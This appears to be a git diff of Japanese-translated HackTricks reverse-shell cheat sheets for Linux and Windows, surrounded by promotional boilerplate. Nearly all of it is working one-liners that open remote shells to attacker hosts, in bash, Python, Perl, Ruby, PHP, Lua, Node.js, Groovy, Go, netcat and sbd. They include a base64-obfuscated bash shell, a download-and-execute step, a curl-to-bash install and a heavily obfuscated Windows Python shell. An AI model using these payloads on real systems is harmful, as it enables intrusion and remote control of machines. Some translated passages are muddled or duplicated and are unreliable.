* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**したり、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)を**フォロー**する * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>**を使用して、ゼロからヒーローまでAWSハッキングを学ぶ**</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または**HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見す
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f)または[**telegram グループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 * **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** をフォローする。**
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。** * **ハッキングテクニックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに貢献する。
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,7 +26,7 @@ HackTricks をサポートする他の方法:
## フルTTY ## フルTTY
**逆シェルを取得したら、[**このページを読んでフルTTYを取得**](full-ttys.md)**してください。** **リバースシェルを取得したら、[このページを読んでフルTTYを取得してください](full-ttys.md)**
## Bash | sh ## Bash | sh
```bash ```bash
@ -54,11 +54,11 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
``` ```
#### シェルの説明 #### シェルの説明
1. **`bash -i`**: この部分のコマンドは、インタラクティブ (`-i`) Bash シェルを開始します。 1. **`bash -i`**: このコマンドの部分は、インタラクティブ(`-i`)なBashシェルを起動します。
2. **`>&`**: この部分のコマンドは、**標準出力** (`stdout`) と **標準エラー** (`stderr`) を **同じ宛先にリダイレクト** するための省略記号です。 2. **`>&`**: このコマンドの部分は、**標準出力(`stdout`)と標準エラー(`stderr`)を同じ場所にリダイレクト**するための短縮表記です。
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: これは、指定された IP アドレスとポートへの TCP 接続を表す特別なファイルです。 3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: これは、指定されたIPアドレスとポートへのTCP接続を表す特別なファイルです。
* **出力とエラーストリームをこのファイルにリダイレクト** することで、コマンドはインタラクティブシェルセッションの出力を攻撃者のマシンに送信します。 * **出力とエラーストリームをこのファイルにリダイレクト**することで、コマンドはインタラクティブシェルセッションの出力を攻撃者のマシンに送信します。
4. **`0>&1`**: この部分のコマンドは、**標準入力 (`stdin`) を標準出力 (`stdout`) と同じ宛先にリダイレクト** します。 4. **`0>&1`**: このコマンドの部分は、**標準入力(`stdin`)を標準出力(`stdout`)と同じ場所にリダイレクト**します。
### ファイルを作成して実行 ### ファイルを作成して実行
```bash ```bash
@ -67,11 +67,11 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
``` ```
## フォワードシェル ## フォワードシェル
LinuxベースのWebアプリケーション内の**Remote Code Execution (RCE)**脆弱性を処理する際、逆シェルを達成することがiptablesルールや複雑なパケットフィルタリングメカニズムなどのネットワーク防御によって妨げられることがあります。そのような制約のある環境では、より効果的に侵害されたシステムとやり取りするために、PTY擬似端末シェルを確立する代替手段があります。 LinuxベースのWebアプリケーション内の**Remote Code Execution (RCE)**脆弱性を処理する際、逆シェルを達成することがiptablesルールや複雑なパケットフィルタリングメカニズムなどのネットワーク防御によって妨げられることがあります。そのような制約のある環境では、代替手段として、妥当なシステムとの効果的なやり取りを可能にするためにPTY擬似端末シェルを確立することがあります。
この目的のための推奨ツールは、[toboggan](https://github.com/n3rada/toboggan.git)であり、これにより対象環境とのやり取りが簡素化されます。 この目的のための推奨ツールは、[toboggan](https://github.com/n3rada/toboggan.git)であり、これにより対象環境とのやり取りが簡素化されます。
tobogganを効果的に利用するには、対象システムのRCEコンテキストに合わせたPythonモジュールを作成します。例えば、`nix.py`というモジュールは次のように構成されることがあります。 tobogganを効果的に利用するには、対象システムのRCEコンテキストに合わせたPythonモジュールを作成します。例えば、`nix.py`という名前のモジュールは次のように構成されることがあります。
```python3 ```python3
import jwt import jwt
import httpx import httpx
@ -95,11 +95,11 @@ response.raise_for_status()
return response.text return response.text
``` ```
して、次のコマンドを実行できます: の後、次のコマンドを実行できます:
```shell ```shell
toboggan -m nix.py -i toboggan -m nix.py -i
``` ```
直接インタラクティブシェルを活用するには、Burpsuite統合のために`-b`を追加し、より基本的なrceラッパーにするために`-i`を削除できます。 直接インタラクティブシェルを活用するには、Burpsuite統合のために`-b`を追加し、より基本的なrceラッパーを得るために`-i`を削除できます。
別の可能性は、`IppSec`のフォワードシェル実装[**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)を使用することです。 別の可能性は、`IppSec`のフォワードシェル実装[**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)を使用することです。
@ -127,7 +127,7 @@ bash -c "$(curl -fsSL gsocket.io/x)"
``` ```
## Telnet ## Telnet
Telnetは、ネットワーク上で他のコンピュータに接続するためのプロトコルです。通常、Telnetを使用してリモートシステムに接続し、コマンドを実行したりファイルを転送したりすることができます。Telnetはセキュリティ上のリスクがあるため、代わりにSSHなどのより安全なプロトコルを使用することが推奨されています。 Telnetは、ネットワーク上でコンピューターにリモートアクセスするためのプロトコルです。通常、Telnetを使用してリモートシステムに接続すると、シェルプロンプトが表示され、コマンドを入力してリモートシステムを制御できます。 Telnetは、セキュリティ上のリスクがあるため、SSHなどのより安全な代替手段が推奨されています。
```bash ```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
@ -141,7 +141,7 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-I
while true; do nc -l <port>; done while true; do nc -l <port>; done
``` ```
``` ```
コマンドを送信するには、それを書き留め、Enter キーを押し、CTRL+D キーを押しますSTDIN を停止するため) コマンドを送信するには、それを書き留め、Enter キーを押し、CTRL+D キーを押しますSTDIN を停止するため)
**被害者** **被害者**
``` ```
@ -150,7 +150,7 @@ export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X
``` ```
## Python ## Python
Pythonは、多くのハッカーにとってお気に入りのスクリプト言語です。Pythonは、シンプルで読みやすく、多くのOSで動作するため、ハッキングに最適です。Pythonは、ネットワークスキャン、データ解析、Webスクレイピングなど、さまざまなハッキングタスクに使用されます。Pythonの豊富なライブラリとモジュールは、ハッキングプロジェクトを効率的に実行するのに役立ちます。 Pythonは、多くのハッカーにとってお気に入りのスクリプト言語です。Pythonは、シンプルで読みやすく、多くのOSで動作するため、ハッキングに最適です。Pythonは、ネットワークスキャン、データ解析、Webアプリケーションの開発など、さまざまなハッキングタスクに使用されます。
```bash ```bash
#Linux #Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
@ -169,14 +169,14 @@ perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PO
### Ruby ### Ruby
Rubyは、多くのLinuxディストリビューションにデフォルトでインストールされていることが多いため、Rubyスクリプトを使用することができます。Rubyは、シンプルで読みやすい構文を持ち、多くの便利な機能を提供しています。Rubyスクリプトを使用することで、シェルスクリプトよりも高度な機能を実装することができます。Rubyは、Webアプリケーション開発やシステム管理など、さまざまな用途に使用されています。 Rubyは、多くのハッカーにとって人気のあるスクリプト言語です。Rubyスクリプトを使用して、シェルを介してシステムにアクセスできます。Rubyは、システムコマンドを実行し、ファイルを操作し、ネットワークソケットを使用するための豊富なライブラリを提供します。Rubyスクリプトを使用して、シェルスクリプトよりも高度な機能を実行できます。
```bash ```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
``` ```
## PHP ## PHP
PHPHypertext Preprocessorは、Web開発に広く使用されるスクリプト言語です。PHPは、サーバーサイドで実行され、動的なWebページを生成するために使用されます。PHPは、HTMLに埋め込んで使用することができ、データベースとのやり取りやフォームの処理など、さまざまなタスクを実行するための強力なツールです。 PHPHypertext Preprocessorは、Web開発に広く使用されるスクリプト言語です。PHPは、サーバーサイドで実行され、動的なWebページを生成するために使用されます。PHPは、HTMLに埋め込んで使用することができ、データベースとのやり取りやフォームの処理など、さまざまなタスクを実行するために広く利用されています。
```php ```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes. // Using this method may lead to instances where the connection reaches out to the listener and then closes.
@ -189,6 +189,8 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?> <?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
``` ```
## Java ## Java
Javaは、オブジェクト指向プログラミング言語であり、クロスプラットフォームで動作します。Javaは、セキュリティ、パフォーマンス、および信頼性に焦点を当てて設計されています。Javaは、Webアプリケーション、モバイルアプリケーション、ビッグデータテクロジーなど、さまざまな用途で広く使用されています。
```bash ```bash
r = Runtime.getRuntime() r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
@ -196,51 +198,20 @@ p.waitFor()
``` ```
## Ncat ## Ncat
Ncatは、ネットワークのデバッグ、セキュリティ監査、およびネットワーク上のデータの転送など、さまざまなネットワーク関連タスクを実行するための強力なツールです。 Ncat is a feature-packed networking utility that reads and writes data across networks from the command line. It supports various protocols and offers many advanced features, making it a powerful tool for network debugging and exploration.
```bash ```bash
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl attacker> ncat -v 10.0.0.22 4444 --ssl
``` ```
## Golang ## Golang
### Linux ## Golang
#### Reverse Shell
To create a reverse shell in Golang, you can use the following code snippet:
```go
package main
import (
"fmt"
"net"
"os/exec"
)
func main() {
conn, _ := net.Dial("tcp", "attacker.com:4444")
cmd := exec.Command("/bin/sh")
cmd.Stdin = conn
cmd.Stdout = conn
cmd.Stderr = conn
cmd.Run()
}
```
Compile the code for the target platform:
```bash
GOOS=linux GOARCH=amd64 go build reverse_shell.go
```
This will create an executable binary named `reverse_shell`.
```bash ```bash
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
``` ```
## Lua ## Lua
Luaは、軽量で高速なスクリプト言語であり、組み込みシステムやゲーム開発などのさまざまな用途に使用されています。Luaスクリプトを実行するためには、Luaのインタプリタが必要です。Luaは、シンプルな構文と豊富な機能を備えており、柔軟性が高いため、多くの開発者に愛用されています。Luaは、C言語で実装されており、C言語との統合が容易です。 Luaは、軽量で高速なスクリプト言語であり、組み込みシステムやゲーム開発などのさまざまな用途に使用されています。LuaはC言語で実装されており、シンプルな構文と強力な拡張性を備えています。Luaスクリプトは、Luaのインタプリタである`lua`コマンドを使用して実行できます。Luaは、多くのプラットフォームでサポートされており、広く普及しています。
```bash ```bash
#Linux #Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
@ -249,7 +220,7 @@ lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket")
``` ```
## NodeJS ## NodeJS
NodeJSは、非同期イベント駆動のJavaScriptランタイム環境であり、サーバーサイドスクリプトを実行するために使用されます。NodeJSは、Webアプリケーションやネットワークアプリケーションの開発に広く利用されています。 ## ードJS
```javascript ```javascript
(function(){ (function(){
var net = require("net"), var net = require("net"),
@ -346,9 +317,9 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | gre
``` ```
## Gawk ## Gawk
## Gawk ### Gawk
Gawkは、強力なプログラミング言語であり、テキスト処理とパターンスキャンに特化しています。Gawkは、Linuxシェルスクリプト内で使用されることがよくあります。Gawkは、フィルタリング、テキスト処理、およびデータ抽出に広く使用されています。 Gawkは、テキスト処理とパターンスキャンに特化した強力なプログラミング言語です。GNUプロジェクトの一部として開発され、Linuxシステムで広く使用されています。Gawkは、シェルスクリプトやコマンドラインツールと組み合わせて使用され、テキストファイルからデータを抽出、変換、処理するためによく活用されます。
```bash ```bash
#!/usr/bin/gawk -f #!/usr/bin/gawk -f
@ -386,7 +357,7 @@ Xnest :1
``` ```
## Groovy ## Groovy
[frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76)によるもの。注意: Javaの逆シェルはGroovyでも機能します。 by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) 注意: JavaリバースシェルはGroovyでも動作します
```bash ```bash
String host="localhost"; String host="localhost";
int port=8044; int port=8044;
@ -402,7 +373,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -413,9 +384,9 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は**、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手す * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れ
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローする。**
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、**ハッキングトリックを共有**します。 * **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。**
</details> </details>

View file

@ -2,21 +2,21 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェック! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れ * [**公式PEASSHackTricksッズ**](https://peass.creator-spring.com)を入手す
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする**
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する** * **ハッキングトリックを共有する、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@ HackTricks をサポートする他の方法:
## Lolbas ## Lolbas
[lolbas-project.github.io](https://lolbas-project.github.io/) ページは、Linux用の [https://gtfobins.github.io/](https://gtfobins.github.io/) と同様に、Windows用です。\ ページ [lolbas-project.github.io](https://lolbas-project.github.io/) は、Linux用の [https://gtfobins.github.io/](https://gtfobins.github.io/) と同様に、Windows用です。\
明らかに、**WindowsにはSUIDファイルやsudo権限はありません**が、**いくつかのバイナリ**が(悪用されて)**任意のコードを実行する**など、予期しないアクションを実行する方法を知っていると便利です。 明らかに、**WindowsにはSUIDファイルやsudo権限はありません**が、**いくつかのバイナリ**が(悪用されて)**任意のコードを実行する**など、予期しないアクションを実行する方法を知っていると便利です。
## NC ## NC
@ -33,7 +33,7 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
``` ```
## SBD ## SBD
**[sbd](https://www.kali.org/tools/sbd/)は、携帯可能で安全なNetcatの代替です**。Unix系システムとWin32で動作します。強力な暗号化、プログラムの実行、カスタマイズ可能なソースポート、継続的な再接続などの機能を備えており、TCP/IP通信のための多目的なソリューションを提供します。Windowsユーザーにとって、Kali Linuxディストリビューションからのsbd.exeバージョンは、Netcatの信頼性のある代替として使用できます。 **[sbd](https://www.kali.org/tools/sbd/)は、携帯可能で安全なNetcatの代替です**。Unix系システムとWin32で動作します。強力な暗号化、プログラムの実行、カスタマイズ可能なソースポート、継続的な再接続などの機能を備えており、TCP/IP通信の多目的なソリューションを提供します。Windowsユーザーにとって、Kali Linuxディストリビューションからのsbd.exeバージョンは、Netcatの信頼性のある代替として使用できます。
```bash ```bash
# Victims machine # Victims machine
sbd -l -p 4444 -e bash -v -n sbd -l -p 4444 -e bash -v -n
@ -47,14 +47,14 @@ uid=0(root) gid=0(root) groups=0(root)
``` ```
## Python ## Python
Pythonは、Windowsシステムで使用される一般的なスクリプト言語です。Pythonスクリプトを使用して、Windowsシステムでのシェルアクセスを確立し、様々なハッキング活動を実行することができます。Pythonは、そのシンプルさと柔軟性から、ハッカーにとって重要なツールとなっています。 ## パイソン
```bash ```bash
#Windows #Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
``` ```
## Perl ## Perl
Perlは、Windowsシステムで使用される多目的スクリプト言語です。Perlスクリプトは、Windowsシェルで実行されることができ、システム管理やネットワークテストなどのタスクを自動化するために広く使用されています。Perlスクリプトを使用すると、Windowsシステム上で様々な操作を行うことができます。 Perlは、Windowsシステムで使用される多目的スクリプト言語です。Perlスクリプトは、Windowsシェルで実行されることができ、システム管理やネットワークスクリプティングなどの用途に適しています。Perlは、Windowsシステムでの侵入テストやネットワークセキュリティの向上に役立つ可能性があります。
```bash ```bash
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
